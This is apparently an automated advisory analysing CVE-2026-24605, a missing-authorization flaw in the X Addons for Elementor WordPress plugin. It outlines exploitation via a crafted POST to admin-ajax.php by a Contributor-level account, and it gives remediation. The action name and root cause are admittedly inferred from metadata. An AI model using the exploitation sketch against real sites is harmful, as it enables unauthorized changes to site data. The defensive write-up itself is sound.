Atomic Edge analysis of CVE-2026-24605 (metadata-based):
This vulnerability is a Missing Authorization flaw in the X Addons for Elementor WordPress plugin, affecting versions up to and including 1.0.23. The flaw allows authenticated users with at least Contributor-level permissions to perform an unauthorized action, leading to unauthorized modification of data.
Atomic Edge research indicates the root cause is a missing capability check within a WordPress hook or AJAX handler. The CWE-862 classification confirms the plugin fails to verify if a user has the necessary permissions before executing a privileged function. This conclusion is inferred from the vulnerability description and CWE, as the source code is unavailable for direct review.
Exploitation likely involves sending a crafted POST request to the WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`. The request would target a specific action parameter, such as `x_addons_elementor_action` or a similar name derived from the plugin slug. An attacker with a valid Contributor account would send this request without a valid nonce or elevated capability, triggering the unauthorized function.
Remediation requires adding a proper capability check, such as `current_user_can(‘edit_posts’)` or a more specific custom capability, to the vulnerable function. The function should also verify the AJAX request nonce to prevent CSRF attacks. These measures would ensure only users with explicit authorization can invoke the action.
The impact of this vulnerability is unauthorized data modification. Attackers could alter plugin settings, modify content, or trigger other actions reserved for higher-privileged users. The CVSS vector indicates low impact on confidentiality and availability, with a primary impact on integrity.
